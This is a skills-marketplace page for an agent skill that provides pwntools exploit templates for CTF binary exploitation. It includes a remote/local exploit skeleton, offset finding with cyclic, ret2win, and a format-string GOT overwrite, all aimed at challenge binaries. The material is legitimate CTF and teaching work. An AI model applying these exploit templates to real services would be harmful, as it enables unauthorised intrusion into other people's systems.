ctf-pwntools-boilerplate
Pwntools exploit boilerplate for CTF binary exploitation. Provides ready-to-use templates for remote/local process interaction, ROP chain construction, format string attacks, shellcode generation, and interactive shell management. Use when writing binary exploits, when connecting to challenge services with pwntools, when building ROP chains, when exploiting format string vulnerabilities, or when automating pwn challenge solves.
来源信息
- 仓库
- zebbern/termstack
- 最近来源活动
- 2026年4月10日 22:53
- 检测到的 SKILL.md 语言
- 英语
- 星标
- 4
- Forks
- 3
安装方式
默认使用会先检查来源的 Prompt；你也可以切换为直接命令，或下载本地副本。
检查来源文件
决定是否安装前，请先阅读 SKILL.md，以及 SkillsMP 当前展示的配套文件。
文件资源管理器
4 个文件正在显示 SKILL.md
SKILL.md
来源说明 · 只读预览- name
- ctf-pwntools-boilerplate
- description
- Pwntools exploit boilerplate for CTF binary exploitation. Provides ready-to-use templates for remote/local process interaction, ROP chain construction, format string attacks, shellcode generation, and interactive shell management. Use when writing binary exploits, when connecting to challenge services with pwntools, when building ROP chains, when exploiting format string vulnerabilities, or when automating pwn challenge solves.
- tags
- ["ctf","pwntools","binary-exploitation","rop","format-string","shellcode","pwn"]
- triggers
- ["pwntools exploit","binary exploit template","rop chain","format string exploit","pwn challenge","buffer overflow exploit","ctf binary"]
- category
- exploit
- os
- linux
# ctf-pwntools-boilerplate
## When to Use
- Writing a binary exploitation script for a CTF challenge
- Connecting to a remote challenge service via TCP
- Building a ROP chain to bypass NX/DEP
- Exploiting a format string vulnerability for arbitrary read/write
- Crafting shellcode for shellcode injection challenges
- Automating interaction with a challenge binary (local or remote)
- Leaking libc addresses for ret2libc or one_gadget attacks
- Exploiting heap vulnerabilities (use-after-free, double free, tcache poisoning)
- Debugging an exploit locally before targeting remote
## Quick Start
```python
from pwn import *
# Local binary
p = process('./challenge')
# Remote service
p = remote('challenge.ctf.com', 1337)
# Send payload + get flag
p.sendline(b'A' * 64 + p64(0xdeadbeef))
p.interactive()
```
## Exploit Template — Standard Skeleton
Every pwntools exploit should follow this structure:
```python
#!/usr/bin/env python3
from pwn import *
# === Configuration ===
BINARY = './challenge'
HOST = 'challenge.ctf.com'
PORT = 1337
elf = ELF(BINARY)
context.binary = elf
context.log_level = 'info' # 'debug' for full I/O trace
# Libc (if needed)
# libc = ELF('./libc.so.6')
def conn():
"""Switch between local and remote."""
if args.REMOTE:
return remote(HOST, PORT)
return process(BINARY)
# === Exploit ===
def exploit():
p = conn()
# --- Stage 1: Leak ---
# p.sendlineafter(b'> ', b'1')
# leak = u64(p.recv(6).ljust(8, b'\x00'))
# log.success(f'Leak: {hex(leak)}')
# --- Stage 2: Payload ---
offset = 64 # Offset to return address (find with cyclic)
payload = flat(
b'A' * offset,
# p64(rop_gadget),
# p64(target_function),
)
p.sendline(payload)
# --- Stage 3: Shell ---
p.interactive()
if __name__ == '__main__':
exploit()
```
**Usage:** `python3 exploit.py` (local), `python3 exploit.py REMOTE`, `python3 exploit.py GDB`
## Finding the Offset
```python
from pwn import *
p = process('./challenge')
p.sendline(cyclic(200))
p.wait()
# Check crash address in dmesg or core dump
# offset = cyclic_find(fault_addr)
```
## Technique Reference Files
Full templates with copy-paste code are in the `references/` directory — loaded on demand, not into context:
| Technique | Reference File | Key Templates |
| -------------------- | ------------------------------------------------------------ | -------------------------------------------------------------------------------- |
| **ROP Chains** | [references/rop-chains.md](references/rop-chains.md) | ret2win, ret2libc (leak+system), one_gadget |
| **Format Strings** | [references/format-strings.md](references/format-strings.md) | Arbitrary read, GOT overwrite, FmtStr auto-detect |
| **Shellcode & Heap** | [references/shellcode-heap.md](references/shellcode-heap.md) | execve shellcode, tcache poisoning, interaction patterns, GDB attach, retry loop |
> **Usage**: When you need a specific technique, read the corresponding reference file for the full template.
## Common Pitfalls
- **Stack alignment on x86_64**: Ubuntu requires 16-byte aligned RSP before `system()`. Add a `ret` gadget.
- **Null bytes in payload**: `scanf("%s")` / `gets()` stop at `\x00`. Use ROP or null-free shellcode.
- **PIE enabled**: Leak a code address first, calculate base, then use offsets.
- **RELRO full**: GOT is read-only. Use `__malloc_hook`, `__free_hook` (glibc < 2.34), or ROP.
- **Seccomp/sandbox**: `seccomp-tools dump ./binary` to see allowed syscalls.
## Examples
### ret2win
```python
from pwn import *
elf = ELF('./ret2win')
context.binary = elf
p = process(elf.path)
p.sendlineafter(b'> ', flat(b'A' * 40, elf.symbols['win']))
print(p.recvall().decode())
```
### Format String GOT Overwrite
```python
from pwn import *
elf = ELF('./fmtstr')
context.binary = elf
p = process(elf.path)
payload = fmtstr_payload(6, {elf.got['exit']: elf.sym['win']}, write_size='short')
p.sendline(payload)
p.interactive()
```
在 GitHub 查看